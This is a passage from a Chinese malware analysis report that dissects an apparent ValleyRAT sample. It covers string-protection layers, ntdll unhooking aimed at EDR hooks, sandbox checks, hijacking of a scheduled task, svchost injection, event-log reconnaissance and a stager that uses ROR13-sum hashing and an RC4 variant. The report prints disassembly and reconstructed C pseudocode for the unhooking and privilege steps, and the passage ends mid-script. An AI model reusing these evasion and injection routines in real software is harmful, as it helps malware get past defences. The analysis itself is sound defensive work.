| 其他 | vss IoCompletion PostQueuedCompletionStatus ZwSetIoCompletion NtQueryObject NtQuerySystemInformation ExitProcess GetModuleFileNameW GetProcessHeap HeapReAlloc CloseHandle GetLastError |
三处字符串组合特别值得注意:
EventID=4624 + LogonType —— 4624 是登录成功事件。配合 LogonType 字段筛选,可以精确识别交互式登录会话(LogonType 2/10)。这是攻击者定位可用凭据的侦察手段,而非随机的日志遍历。
EventID=1102 —— 审计日志被清除事件。查询它的用途是确认自身行为是否被记录,或判断环境中是否有其他攻击者在清理痕迹。
C:\Windows\System32\ntdll.dll + .text —— 这两个字符串在同一个函数中配合使用,构成第六章详述的 ntdll 还原逻辑。
三、字符串保护机制小结
到这里,外层 PE 的保护设计已经完整:
| 层 | 机制 | 效果 |
|---|---|---|
| 1 | 字符串藏在 RT_MESSAGETABLE 资源内 | 绕过基于文件尾附加数据的静态扫描 |
| 2 | 密钥索引表(91 项,12 字节/项) | 字符串不能用固定密钥批量解出,需逐条查表 |
| 3 | 字节码 VM 解释器(174 分支) | 解密过程无法静态阅读,必须实际执行 |
| 4 | 操作码双重 XOR(0x91e07a2c4b18d6f3 与 0x5C) | 跳转表本身也是加密的 |
这四层叠加的实际成本是:分析者必须理解一个 1713 字节的解释器,才能拿到 76 条字符串。这些字符串是理解样本全部行为的起点 —— 提取它们之后,后续分析才具备方向。
四、外层 PE 的静态能力
4.1 反 EDR:从磁盘还原 ntdll
导入表里的 GetSystemDirectoryW + CreateFileMappingW + MapViewOfFile + VirtualProtect 组合,在 fcn.140009b60 中汇合为一段完整的 ntdll unhooking 实现。
该函数首先解密模块名并取得内存中 ntdll 的基址:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ timeout 600 r2 -q -e scr.color=0 -c 'aaa; s 0x140009b60; pdf' extract/b7fcd809/sample.exe | head -22
│ 0x140009b60 48894c2408 mov qword [var_8h], rcx ; arg1
│ 0x140009b67 4881ec5803.. sub rsp, 0x358
│ 0x140009b82 ba636c2aa6 mov edx, 0xa62a6c63
│ 0x140009b87 488d8c24f8.. lea rcx, [var_f8h]
│ 0x140009b8f e8ec9cffff call fcn.140003880 ; 解密 -> "ntdll.dll"
│ 0x140009ba9 488b8c24b0.. mov rcx, qword [lpModuleName]
│ 0x140009bb1 ff1589f50000 call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
│ 0x140009bb7 4889442468 mov qword [hModule], rax
│ 0x140009bcb ff155ff50000 call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
│ 0x140009bd1 41b918000000 mov r9d, 0x18 ; 24
│ 0x140009bd7 4c8d842498.. lea r8, [lpmodinfo]
│ 0x140009be4 488bc8 mov rcx, rax
│ 0x140009be7 e80db60000 call sub.KERNEL32.dll_K32GetModuleInformation
│ 0x140009bec 488b842498.. mov rax, qword [lpmodinfo]
│ 0x140009bf4 4889442458 mov qword [lpAddress], rax
关键调用是 K32GetModuleInformation,取回该模块的 lpBaseOfDll——内存中 ntdll 的真实基址。
接着从磁盘打开干净的副本:
│ 0x140009c0d ba04010000 mov edx, 0x104 ; 260
│ 0x140009c12 488d8c2440.. lea rcx, [lpFileName]
│ 0x140009c1a ff1560f40000 call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
│ 0x140009c2b ba3d181e95 mov edx, 0x951e183d
│ 0x140009c38 e8439cffff call fcn.140003880 ; 解密 -> "\ntdll.dll"
│ 0x140009c62 ff1560f40000 call qword [sym.imp.KERNEL32.dll_lstrcatW]
│ 0x140009c8a ba00000080 mov edx, 0x80000000 ; GENERIC_READ
│ 0x140009c97 ff158bf40000 call qword [sym.imp.KERNEL32.dll_CreateFileW]
│ 0x140009cc5 41b802000001 mov r8d, 0x1000002 ; PAGE_READONLY|SEC_IMAGE
│ 0x140009cd2 ff15b8f30000 call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
│ 0x140009cfb ba04000000 mov edx, 4 ; FILE_MAP_READ
│ 0x140009d05 ff158df30000 call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
路径拼接为 GetSystemDirectoryW() + "\ntdll.dll",随后用 CreateFileMappingW(..., SEC_IMAGE) 将磁盘副本按映像方式映射,MapViewOfFile(FILE_MAP_READ) 获得只读视图。
最后逐节区覆盖:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ timeout 600 r2 -q -e scr.color=0 -c 'aaa; s 0x140009d25; pd 40' extract/b7fcd809/sample.exe | head -34
│ 0x140009d3a 4863403c movsxd rax, dword [rax + 0x3c] ; e_lfanew
│ 0x140009d46 488bc1 mov rax, rcx
│ 0x140009d50 6689442440 mov word [var_40h], ax ; 节区索引 = 0
│ 0x140009d64 0fb7442440 movzx eax, word [var_40h]
│ 0x140009d6e 0fb74906 movzx ecx, word [rcx + 6] ; NumberOfSections
│ 0x140009d72 3bc1 cmp eax, ecx
│ 0x140009d74 0f8d1f010000 jge 0x140009e99 ; 遍历结束
│ 0x140009d7f 0fb74014 movzx eax, word [rax + 0x14] ; SizeOfOptionalHeader
│ 0x140009d88 488d440118 lea rax, [rcx + rax + 0x18] ; &节区表[i]
│ 0x140009d92 486bc928 imul rcx, rcx, 0x28 ; 每项 40 字节
│ 0x140009d99 4889442448 mov qword [var_48h], rax
│ 0x140009d9e bac22ea888 mov edx, 0x88a82ec2
│ 0x140009dab e8d09affff call fcn.140003880 ; 解密 -> ".text"
│ 0x140009dd5 e866930000 call fcn.140013140 ; 节区名比对
与解密字符串 .text(密钥 0x88a82ec2)比对后,对匹配节区执行三步操作:
│ 0x140009e0a 41b840000000 mov r8d, 0x40 ; PAGE_EXECUTE_READWRITE
│ 0x140009e12 ff1570f20000 call qword [sym.imp.KERNEL32.dll_VirtualProtect]
│ 0x140009e51 448bc0 mov r8d, eax ; 长度 = SizeOfRawData
│ 0x140009e54 488bd1 mov rdx, rcx ; 源 = 磁盘映射副本
│ 0x140009e5f 488bc8 mov rcx, rax ; 目标 = 内存中 ntdll
│ 0x140009e62 e8b9910000 call fcn.140013020 ; 拷贝
│ 0x140009e87 448b442450 mov r8d, dword [lpflOldProtect]
│ 0x140009e8e ff15f4f10000 call qword [sym.imp.KERNEL32.dll_VirtualProtect]
逻辑归纳:
ntdll = GetModuleHandleW("ntdll.dll");
K32GetModuleInformation(GetCurrentProcess(), ntdll, &info, 0x18);
base = info.lpBaseOfDll;
GetSystemDirectoryW(path, 260);
lstrcatW(path, "\\ntdll.dll");
file = CreateFileW(path, GENERIC_READ, ...);
mapping = CreateFileMappingW(file, NULL, SEC_IMAGE | PAGE_READONLY, 0, 0, NULL);
cleanBase = MapViewOfFile(mapping, FILE_MAP_READ, 0, 0, 0);
ntHdr = base + (int32_t)*(uint32_t*)(base + 0x3C);
for (i = 0; i < ntHdr->NumberOfSections; i++) {
sec = §ion[i];
if (stricmp(sec->Name, ".text") == 0) {
VirtualProtect(base + sec->VirtualAddress, sec->SizeOfRawData, PAGE_EXECUTE_READWRITE, &old);
memcpy(base + sec->VirtualAddress, cleanBase + sec->VirtualAddress, sec->SizeOfRawData);
VirtualProtect(base + sec->VirtualAddress, sec->SizeOfRawData, old, &tmp);
}
}
这一步的作用是消除 EDR 的用户态挂钩。 主流 EDR 通过在 ntdll 的 API 入口写入 jmp 跳转指令来拦截系统调用。样本从磁盘读取未被修改的 ntdll,用它的 .text 覆盖内存中已被挂钩的版本,使后续调用 NtAllocateVirtualMemory、NtWriteVirtualMemory、NtOpenProcess 等原生 API 时不再经过 EDR 的拦截代码。
配套证据:解密出的字符串中同时存在 NtAllocateVirtualMemory、NtWriteVirtualMemory、NtOpenProcess —— 这三个都是注入流程必需的,且都是典型的被挂钩目标。先用干净 ntdll 覆盖,再调用它们,形成完整链条。
4.2 环境检测
解密出的虚拟机相关字符串(virtual vmware vbox hyper-v WDDM SOFTWARE\Microsoft\Hyper-V)配合导入的 D3D11CreateDevice 与 EnumDisplayDevicesW,构成多路环境检测。
除注册表与显示适配器探测外,还有两处基于系统度量的检查。磁盘容量检测在 fcn.140006de0:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ timeout 600 r2 -q -e scr.color=0 -c 'aaa; s 0x140006de0; pdf' extract/b7fcd809/sample.exe | head -30
│ 0x140006dee ba9469823f mov edx, 0x3f826994
│ 0x140006df8 e883caffff call fcn.140003880 ; 解密 -> "C:\\"
│ 0x140006e1e 488b4c2450 mov rcx, qword [lpDirectoryName]
│ 0x140006e23 ff15f7220100 call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
│ 0x140006e34 488b442428 mov rax, qword [lpTotalNumberOfBytes]
│ 0x140006e39 f2480f2ac0 cvtsi2sd xmm0, rax
│ 0x140006e4b f20f5e052d.. divsd xmm0, qword [0x14001e080]
0x14001e080 的值是 1073741824.0(1 GiB)。样本把磁盘总容量换算为 GiB 后与阈值比较 —— 沙箱与分析虚拟机通常分配较小的固定磁盘,这是常见的环境判别指标。
执行时长阈值在 0x140009337:
│ 0x14000932e f20f108424.. movsd xmm0, qword [var_158h]
│ 0x140009337 660f2f0539.. comisd xmm0, xmmword [0x14001e078]
│ ┌─< 0x14000933f 7655 jbe 0x140009396
0x14001e078 的值是 50.0。该处比较的是进程已运行时长:若不足 50 秒,样本重置自身状态而非继续执行。沙箱通常只观察一到两分钟便结束分析,设置 50 秒阈值可以过滤掉大量自动化分析。
这个阈值的存在恰好解释了第九章中沙箱观测到的一个现象 —— 报告显示样本在 195 秒内未发起任何网络连接。结合该阈值,可以判断样本在沙箱中确实执行到了检测环节,但未通过(或被其他检测项拦截)从而未进入下一阶段。
4.3 与 DeviceIoControl 相关的驱动探测
DeviceIoControl 在 fcn.140008f00 中被调用,用于探测环境中是否存在特定的监控驱动:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ timeout 600 r2 -q -e scr.color=0 -c 'aaa; s 0x140008f00; pdf' extract/b7fcd809/sample.exe | head -32
│ 0x140008f00 48894c2408 mov qword [var_8h], rcx ; arg1
│ 0x140008f05 57 push rdi
│ 0x140008f06 4881ec9000.. sub rsp, 0x90
│ 0x140008f0d 488b4428.. mov rax, qword [rbp+0x10]
│ 0x140008f14 488b4c2458 mov rcx, qword [rbp-0x98]
│ 0x140008f1b 488b11 mov rdx, qword [rcx]
│ 0x140008f1e 0fb75208 movzx edx, word [rdx+0x8]
│ 0x140008f22 488bca mov rcx, rdx ; LPCWSTR lpFileName
│ 0x140008f25 ff1525000000 call qword [sym.imp.KERNEL32.dll_CreateFileW]
函数打开一个设备路径,然后发送 IOCTL 读取数据。
│ 0x140008f52 4c8d442458 lea r8, [lpBytesReturned]
│ 0x140008f57 488b4428.. mov rax, qword [rbp+0x10]
│ 0x140008f5e 488b5428.. mov rdx, qword [rbp+0x18]
│ 0x140008f65 0fb75208 movzx edx, word [rdx+0x8] ; sizeof(sockaddr)
参数中包含 sizeof(sockaddr) —— 说明设备交互的数据结构与网络栈相关。这通常用于探测网络过滤驱动(NDIS 中间层驱动)的存在,据此判断是否处于被监控的网络环境。
4.4 反调试
IsDebuggerPresent 有三处调用点(0x1400163D7、0x140016889、0x140016C53),均位于 C++ 异常处理路径中,属常规检查:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x1400163c7 --stop-address=0x1400163e6 extract/b7fcd809/sample.exe
1400163c7: mov DWORD PTR [rsp+0x50],0x40000015
1400163cf: mov DWORD PTR [rsp+0x54],0x1
1400163d7: call QWORD PTR [rip+0x2d73] # 0x140019150
1400163dd: cmp eax,0x1
0x40000015 是 STATUS_FATAL_APP_EXIT,属 CRT 内部的状态码。
4.5 进程枚举
CreateToolhelp32Snapshot + Process32FirstW + Process32NextW 组合(三处字符串均已解密)用于遍历进程列表。结合沙箱报告中 Process32NextW 被调用 242 次这一数字,说明样本对该 API 做了高强度使用 —— 这与它在对比进程名以查找分析工具的行为一致。
五、运行时行为
5.1 自我移动与删除
沙箱报告记录的文件操作序列:
file_moved: ["C:\\Users\\Administrator\\Desktop\\2026年第2季度内职人员违纪名单信息名单公示.exe1",
"C:\\Users\\Administrator\\AppData\\Local\\Temp\\tmp3C00.tmp"]
file_created: "C:\\Users\\Administrator\\AppData\\Local\\Temp\\tmp3C00.tmp"
file_deleted: "C:\\Users\\Administrator\\AppData\\Local\\Temp\\tmp3C00.tmp"
行为链为:把自身从桌面移动到 %TEMP% 并改名为 tmp3C00.tmp,随后删除。
支撑这一点的是解密出的字符串 GetTempPathW GetTempFileNameW MoveFileW MoveFileExW DeleteFileW tmp。
需要说明的是,file_created 与 file_deleted 记录的是同一个路径 tmp3C00.tmp,而 file_moved 显示源是桌面文件。综合三条记录,实际过程是"移动 + 删除原文件",而非"创建副本 + 删除副本"。落在 %TEMP% 的文件是样本自身的完整副本,其 SHA256 与原始样本一致(b7fcd809...)。
这个设计的目的:用户点击的是桌面上的"违纪名单公示.exe1",若样本留在原位置,用户(或安全软件)容易发现异常。移动到 %TEMP% 并改名为随机 tmp 前缀的文件后,源文件在桌面上消失,符合"程序执行后关闭"的表象。
5.2 持久化:劫持系统计划任务
file_written: "C:\\Windows\\System32\\Tasks\\Microsoft\\Windows\\SoftwareProtectionPlatform\\SvcRestartTask"
regkey_written: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{A6432082-89BD-434D-9C61-D7FE6D91CCB9}\\Schema"
"...\\SecurityDescriptor"
"...\\Description"
"...\\Hash"
"...\\URI"
"...\\Triggers"
样本覆盖了 Windows 软件保护平台(SoftwareProtectionPlatform)原有的计划任务 SvcRestartTask,而非新建一个任务。
这一点值得展开。SvcRestartTask 是 Windows 激活服务自带的计划任务,用于在激活相关服务异常时自动重启。它的存在是正常的、由系统签名的,因此:
- 安全工具如果只检查"是否存在可疑计划任务",不会将其标记为异常
- 该任务在
Tasks目录下的文件由系统创建,样本只是覆盖内容 - 任务路径位于
Microsoft\Windows\SoftwareProtectionPlatform\这一系统目录下
配套的解密字符串是 Schedule(任务计划服务名)、OpenSCManagerW OpenServiceW StartServiceW QueryServiceStatus CloseServiceHandle EnumServicesStatusExW(服务操作全套)以及 bdservicehost.exe(服务宿主进程名,伪装成百度相关服务)。
5.3 注入 svchost.exe
沙箱报告的关键记录:
target_path: C:\Windows\System32\svchost.exe
target_process: svchost.exe
target_pid: 1492
detected_memory_type: Injected Shellcode/Data
目标进程的命令行是:
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
-s Schedule 表示这是任务计划服务的宿主进程。
选择注入 svchost.exe -s Schedule 有两个层面的意图:
第一,进程身份可信。 svchost.exe 是 Windows 的系统进程,其网络连接与内存活动在大多数监控规则中权重较低。
第二,与持久化机制呼应。 样本劫持了 SvcRestartTask(任务计划服务管理的任务),又注入了任务计划服务的宿主进程。两者结合,使注入的代码在系统视角下表现为"任务计划服务的正常组件"。
注入的技术细节可从沙箱记录的 API 调用推断:
injection_write_memory:
{"ioc": "Process 6704 injected into non-child 1492"}
WriteProcessMemory(
process_identifier = 1492,
base_address = 0x0000022743f00000,
buffer = <58 字节零 + 3e432702>
)
Process 6704 injected into non-child 1492 —— 6704 是样本自身,1492 是 svchost,二者无父子关系,属典型的跨进程注入。
解密字符串中的注入工具集与此完全对应:NtAllocateVirtualMemory NtWriteVirtualMemory NtOpenProcess VirtualAllocEx WriteProcessMemory ReadProcessMemory VirtualQueryEx DuplicateHandle GetProcessId。
5.4 提权尝试
ShellExecuteExW(
filepath = C:\\Users\\Administrator\\Desktop\\2026年第2季度内职人员违纪名单信息公示.exe1,
parameters = "",
show_type = 0 /* SW_HIDE:隐藏窗口 */
)
last_error = 1223 /* ERROR_CANCELLED */
show_type = 0 对应 SW_HIDE,即以隐藏窗口方式启动 —— 用户不会看到任何界面。
last_error = 1223 是 ERROR_CANCELLED,指示 UAC 提权被拒绝。这与解密字符串 runas(ShellExecuteExW 的 lpVerb 参数值,用于请求提权)和 IsUserAnAdmin(提权前判定当前权限)相互印证。
链条是:先检查是否为管理员(IsUserAnAdmin),若不是则通过 ShellExecuteExW("runas", ...) 请求提权;沙箱环境中 UAC 被拒绝,因此该步失败。
5.5 凭据相关侦察
解密字符串中存在 SeDebugPrivilege OpenProcessToken LookupPrivilegeValueW AdjustTokenPrivileges,这是开启调试权限的标准三步:
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValueW(NULL, "SeDebugPrivilege", &luid);
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
SeDebugPrivilege 允许进程打开并读写其他任意进程的内存。结合同样出现在字符串中的 ReadProcessMemory 与进程枚举 API,可以判断样本具备读取其他进程内存的能力。这是窃取凭据(如从 lsass 读取)的前置条件。
同一组字符串中的 NtOpenProcess(原生 API)而非 OpenProcess(Win32 API)值得注意 —— 配合第四章的 ntdll 还原,可以判断样本倾向于使用原生 API 以规避用户态挂钩。
5.6 DirectDraw 的使用
沙箱报告记录:
dll_loaded: ddraw.dll
regkey_opened: HKLM\\SOFTWARE\\Microsoft\\DirectDraw\\Compatibility\\StarCraft115
HKLM\\SOFTWARE\\Microsoft\\DirectDraw\\Compatibility\\StarCraftDemo
HKLM\\System\\CurrentControlSet\\Control\\GraphicsDrivers
mutex: Local\\DDrawDriverObjectListMutex
Local\\__DDrawCheckExclMode__
Local\\__DDrawExclMode__
Local\\DDrawWindowListMutex
解密字符串中有 ddraw.dll 与 DirectDrawCreate。
DirectDraw 是 Windows 95/98 时代的 2D 图形接口,在 Windows 10 上早已过时,正常软件几乎不再使用。样本加载它并创建多个 DDraw 互斥体,行为特征明显。
这些互斥体的用途是环境检测。 Local\__DDrawExclMode__ 与 Local\__DDrawCheckExclMode__ 是 DirectDraw 在独占显示模式下的标准互斥体。分析沙箱与虚拟机环境通常不提供真实的显卡独占模式支持,或者由软件渲染(d3d10warp.dll,沙箱记录中确实加载了该 DLL)替代。样本通过检查这些互斥体是否可创建、DirectDraw 对象是否初始化成功,间接判断运行环境。
读 SOFTWARE\Microsoft\DirectDraw\Compatibility\StarCraft115 这一注册表项也印证了此判断 —— 这是 DirectDraw 为特定老游戏保存兼容性配置的位置。样本读取它是为了解 DirectDraw 子系统是否被真实配置过。
样本的家族特征也体现在这里。 银狐(ValleyRAT)家族长期使用 DirectDraw 作为环境检测与环境指纹手段,这是该家族在多个版本中保持的技术选择。
5.7 事件日志侦察
解密字符串给出完整的日志查询语句:
*[System[EventID=4624]]
*[System[EventID=1102]]
Event/EventData/Data[@Name='LogonType']
Security
查询语法 *[System[EventID=...]] 是 Windows 事件日志的 XPath 过滤表达式,对应 EvtQuery 的 Path 参数。Event/EventData/Data[@Name='LogonType'] 则是 EvtCreateRenderContext 用于提取特定字段的表达式。
QueryList 结构使用 EvtQuery EvtNext EvtRender(均已在导入表中确认):
hQuery = EvtQuery(NULL, "Security", "*[System[EventID=4624]]",
EvtQueryChannelPath | EvtQueryTolerateQueryErrors);
while (EvtNext(hQuery, 1, &hEvent, ...)) {
EvtRender(NULL, hEvent, EvtRenderEventXml, bufSize, buf, &used, &count);
/* 解析 LogonType 字段 */
EvtClose(hEvent);
}
4624 与 LogonType 的组合用途:EventID 4624 是"登录成功",LogonType 字段区分登录方式:
| LogonType | 含义 |
|---|---|
| 2 | 交互式(本地键盘登录) |
| 3 | 网络(如 SMB 访问) |
| 4 | 批处理(计划任务) |
| 5 | 服务 |
| 10 | 远程交互(RDP) |
筛选 LogonType 2 和 10 可以定位有交互式会话的账户——这类账户更可能持有可用凭据,也更可能处于活跃状态。攻击者据此判断哪些主机值得作为后续目标。
1102 的用途不同:该事件表示"审计日志被清除"。查询它的目的是判断环境中是否已有其他攻击活动,或确认自身的痕迹清理是否留下记录。
六、C2 通信模块(注入的 stager)
6.1 Stager 的提取与结构
沙箱内存转储给出了这段代码。目录名即为其 SHA256:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ S=extract/b7fcd809_run/win10_1903_x64_2016_b7fcd80902282a99b48b724884f7c3f98461c4bd63c5b051ae427e5579b046fb_1789617732.memdump/6d2084ff4de5abea3af9ce0e011698bf902af0d1b37854d73a907b16fab6d872/6704_5297883391220482026
└─$ wc -c "$S"
3213
└─$ xxd "$S" | head -3
00000000: 4883 ec28 e83b 0800 0090 4883 c428 c3cc H..(.;....H..(..
00000010: 488b c448 8958 0848 8968 1048 8970 1848 H..H.X.H.h.H.p.H
00000020: 8978 2041 5441 5765 488b 0425 6000 0000 .x ATAWeH..%`...
开头是一个标准的位置无关存根:
00000000: sub rsp, 0x28
00000004: call 0x844 ; 进入主函数
00000009: nop
0000000a: add rsp, 0x28
0000000d: ret
0x844 即主函数入口。
模块的函数布局:
| 偏移 | 功能 |
|---|---|
0x000 | 入口存根(call 0x844) |
0x010 | PEB 遍历 + ROR13 哈希 API 解析 |
0x124 | RC4 密钥调度(KSA) |
0x23C | RC4 流生成(PRGA) |
0x3A0 | RC4 封装(内置密钥) |
0x404 | 配置块定位(字节和校验) |
0x508 | WinINet 通信主函数 |
0x844 | 主函数 |
6.2 API 解析采用 ROR13 求和比对
0x010 处的解析器遍历 PEB 模块链表并匹配导出名。其哈希循环:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -D -b binary -m i386:x86-64 -M intel --no-show-raw-insn --start-address=0x63 --stop-address=0xca "$S" | tail -14
63: mov r10d,ecx
69: xor edi,edi ; 模块名哈希初值 = 0
6d: ror edi,0xd
70: movsx ecx,r11b
74: cmp r11b,0x61
78: lea eax,[rcx-0x20] ; 小写转大写
7b: cmovl eax,ecx
7e: add edi,eax
80: inc rdx
83: mov r11b,BYTE PTR [rdx]
89: jne 0x6d
9d: mov ebx,DWORD PTR [rdx]
a2: xor esi,esi ; 函数名哈希初值 = 0
a6: ror esi,0xd
b7: add esi,eax
c4: lea eax,[rsi+rdi*1] ; ★ 函数哈希 + 模块哈希
c7: cmp r12d,eax ; 与目标比对
算法为:
module_hash = ror13(module_name, fold_case = TRUE);
for (each export) {
func_hash = ror13(export_name, fold_case = TRUE);
if (func_hash + module_hash == target) return address;
}
与标准 ROR13 的差异在于比对值是两个哈希之和。 标准 ROR13(Metasploit block_api 等工具使用)只比对函数名哈希:
if (ror13(export_name) == target) return address;
求和比对带来一个实际后果:现成的 ROR13 哈希表无法直接使用。分析者必须遍历模块导出名自行重建哈希。这构成一道分析门槛 —— 它不依赖密码学强度,而依赖"与通行工具约定不同"。
破解这组哈希需要遍历模块与导出名。以下为结果:
| 哈希 | 解析出的 API |
|---|---|
0x9e5a8833 | kernel32.dll!VirtualAlloc |
0xd6d48e5a | kernel32.dll!CreateThread |
0xca8e9498 | kernel32.dll!WaitForSingleObject |
0xc9f93d32 | ntdll.dll!memcpy |
0xe3c6daca | wininet.dll!InternetOpenW |
0x9a2800af | wininet.dll!InternetConnectW |
0x73fa8f41 | wininet.dll!HttpOpenRequestW |
0xaa02d73e | wininet.dll!HttpSendRequestW |
0x76577d47 | wininet.dll!InternetCloseHandle |
0x1bbf63f7 | wininet.dll!InternetReadFile |
0x08590ba7 | kernel32.dll!Sleep |
wininet.dll 本身通过 LoadLibraryA("wininet.dll") 加载 —— 主函数中的字符串构造印证了这一点:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -D -b binary -m i386:x86-64 -M intel --no-show-raw-insn --start-address=0x535 --stop-address=0x565 "$S" | tail -12
535: mov DWORD PTR [rsp+0x48],0x696e6977 ; "wini"
542: mov DWORD PTR [rsp+0x4c],0x2e74656e ; "net."
54d: mov DWORD PTR [rsp+0x50],0x6c6c64 ; "dll"
55c: lea rcx,[rsp+0x48]
561: call rax ; LoadLibraryA("wininet.dll")
6.3 配置块的定位与结构
主函数首先调用 0x404 定位配置。该函数不是用固定魔数,而是用字节和校验:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -D -b binary -m i386:x86-64 -M intel --no-show-raw-insn --start-address=0x404 --stop-address=0x4f0 "$S" | tail -40
404: mov DWORD PTR [rsp+0x8],ecx ; 校验和参数
414: mov BYTE PTR [rsp+0x20],0xfe
419: mov BYTE PTR [rsp+0x21],0xfa
41e: mov BYTE PTR [rsp+0x22],0xff
423: call 0x11c ; 取基准地址
441: cmp DWORD PTR [rsp+0x28],0x1000 ; 扫描 4096 字节
45d: movzx eax,BYTE PTR [rcx+rax*1]
461: cmp eax,0xfe
46c: movzx eax,BYTE PTR [rcx+rax*1]
47e: cmp eax,0xfa
48e: movzx eax,BYTE PTR [rcx+rax*1]
497: cmp eax,0xff
4ba: cmp DWORD PTR [rsp+0x24],0x8 ; 累加 8 字节
4cf: mov ecx,DWORD PTR [rsp+0x2c]
4d3: add ecx,eax
4dd: mov eax,DWORD PTR [rsp+0x50] ; 目标校验和
4e1: cmp DWORD PTR [rsp+0x2c],eax
4e7: mov rax,QWORD PTR [rsp+0x38] ; 命中则返回
逻辑为:
void *find_config(uint32_t checksum) {
/* 特征: p[0]==0xFE && p[1]==0xFA && p[7]==0xFF */
p = get_base();
for (i = 0; i < 0x1000; i++, p++) {
if (p[0] == 0xFE && p[1] == 0xFA && p[7] == 0xFF) {
sum = 0;
for (k = 0; k < 8; k++) sum += p[k];
if (sum == checksum) return p;
}
}
return NULL;
}
主函数以 checksum = 0x708 调用它。在模块内查找满足该条件的 8 字节序列:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
d=open('extract/b7fcd809_run/win10_1903_x64_2016_b7fcd80902282a99b48b724884f7c3f98461c4bd63c5b051ae427e5579b046fb_1789617732.memdump/6d2084ff4de5abea3af9ce0e011698bf902af0d1b37854d73a907b16fab6d872/6704_5297883391220482026','rb').read()
for i in range(len(d)-8):
if d[i]==0xfe and d[i+1]==0xfa and d[i+7]==0xff:
s=sum(d[i:i+8])
print(f' +{i:#05x} {d[i:i+8].hex()} 字节和={s} ({s:#x}) 匹配={s==0x708}')
"
+0x00b34 fefacbf9bfe9a5ff 字节和=1800 (0x708) 匹配=True
唯一命中 +0xB34。 配置块结构由此确定:
| 偏移 | 字节 | 含义 |
|---|---|---|
+0xB34 | FE FA CB F9 BF E9 A5 FF | 8 字节标识,字节和 0x708 |
+0xB3C | 4D 01 00 00 | 压缩后长度 0x14D = 333 |
+0xB40 | 333 字节 | 密文 |
0xB40 + 333 = 0xC8D,精确等于模块长度 —— 配置块用满模块尾部,无冗余。
用字节和而非固定魔数做校验,是为了让特征本身不可硬编码搜索。 若使用固定 8 字节魔数,分析者可以直接在文件中搜索该序列。改用"三个固定字节 + 字节和"的条件后,必须实际执行定位函数才能找到配置块。
6.4 RC4 变体
主函数中的解密调用:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -D -b binary -m i386:x86-64 -M intel --no-show-raw-insn --start-address=0x89f --stop-address=0x935 "$S" | tail -22
89f: call 0x404 ; 定位配置块 -> rbx
8b3: lea r13d,[r12+0x4]
8be: lea r15d,[r12+0x8] ; r15d = 8
8cb: call r14 ; VirtualAlloc(0, 8, RWX)
8ce: mov rsi,rax ; 密钥缓冲
8d9: mov rdx,rbx
8df: call rdi ; memcpy(key, rbx, 8)
8e4: mov DWORD PTR [rbp+0x110],r12d
8eb: lea rdx,[rbx+0x8]
8f6: call rdi ; memcpy(&len, rbx+8, 4)
8f8: mov r8,r15 ; arg3 = 8(密钥长度)
8fb: lea rcx,[rbp-0x50] ; arg1 = S 盒
8ff: mov rdx,rsi ; arg2 = 密钥
902: call 0x124 ; RC4 KSA
907: mov r8d,DWORD PTR [rbp+0x110] ; arg3 = 333
90e: lea rdx,[rbx+0xc] ; arg2 = rbx+0xC(密文)
912: lea rcx,[rbp-0x50] ; arg1 = S 盒
916: call 0x23c ; RC4 PRGA
926: mov edx,0xa94 ; 2708 字节
92d: call r14 ; VirtualAlloc(0, 0xA94, RWX)
即:
block = find_config(0x708);
memcpy(key, block + 0x00, 8); /* 密钥 = 8 字节标识 */
memcpy(&len, block + 0x08, 4); /* 长度 = 333 */
rc4_ksa (sbox, key, 8);
rc4_prga(sbox, block + 0x0C, len); /* 原地解密 */
0xA94 = 2708 —— 这是解压后的预期长度,代码在解密前就已分配好,说明该长度是设计时确定的。
PRGA 的实现存在一个关键差异。 标准 RC4 的密钥流取值为 S[(S[i] + S[j]) & 0xFF],而此处取值为 S[i] XOR S[j]:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -D -b binary -m i386:x86-64 -M intel --no-show-raw-insn --start-address=0x335 --stop-address=0x365 "$S" | tail -13
335: mov rax,QWORD PTR [rsp+0x20]
33a: movzx eax,BYTE PTR [rax+0x100] ; i = S[0x100]
346: movzx eax,BYTE PTR [rcx+rax*1] ; S[i]
34f: movzx ecx,BYTE PTR [rcx+0x101] ; j = S[0x101]
35b: movzx ecx,BYTE PTR [rdx+rcx*1] ; S[j]
35f: xor eax,ecx ; ★ S[i] XOR S[j]
没有 S[(S[i]+S[j]) & 0xFF] 这一步查表。
这个差异的后果可以用数据说明。取配置块自身的密钥与密文,分别用两种实现解密:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
sc=open('extract/b7fcd809_run/win10_1903_x64_2016_b7fcd80902282a99b48b724884f7c3f98461c4bd63c5b051ae427e5579b046fb_1789617732.memdump/6d2084ff4de5abea3af9ce0e011698bf902af0d1b37854d73a907b16fab6d872/6704_5297883391220482026','rb').read()
key=sc[0xb34:0xb34+8]; ct=sc[0xb40:0xb40+0x14d]
def ksa(k):
S=list(range(256)); j=0
for i in range(256):
j=(j+S[i]+k[i%len(k)])&0xff; S[i],S[j]=S[j],S[i]
return S
def std(S0,d):
S=list(S0); i=j=0; o=bytearray()
for c in d:
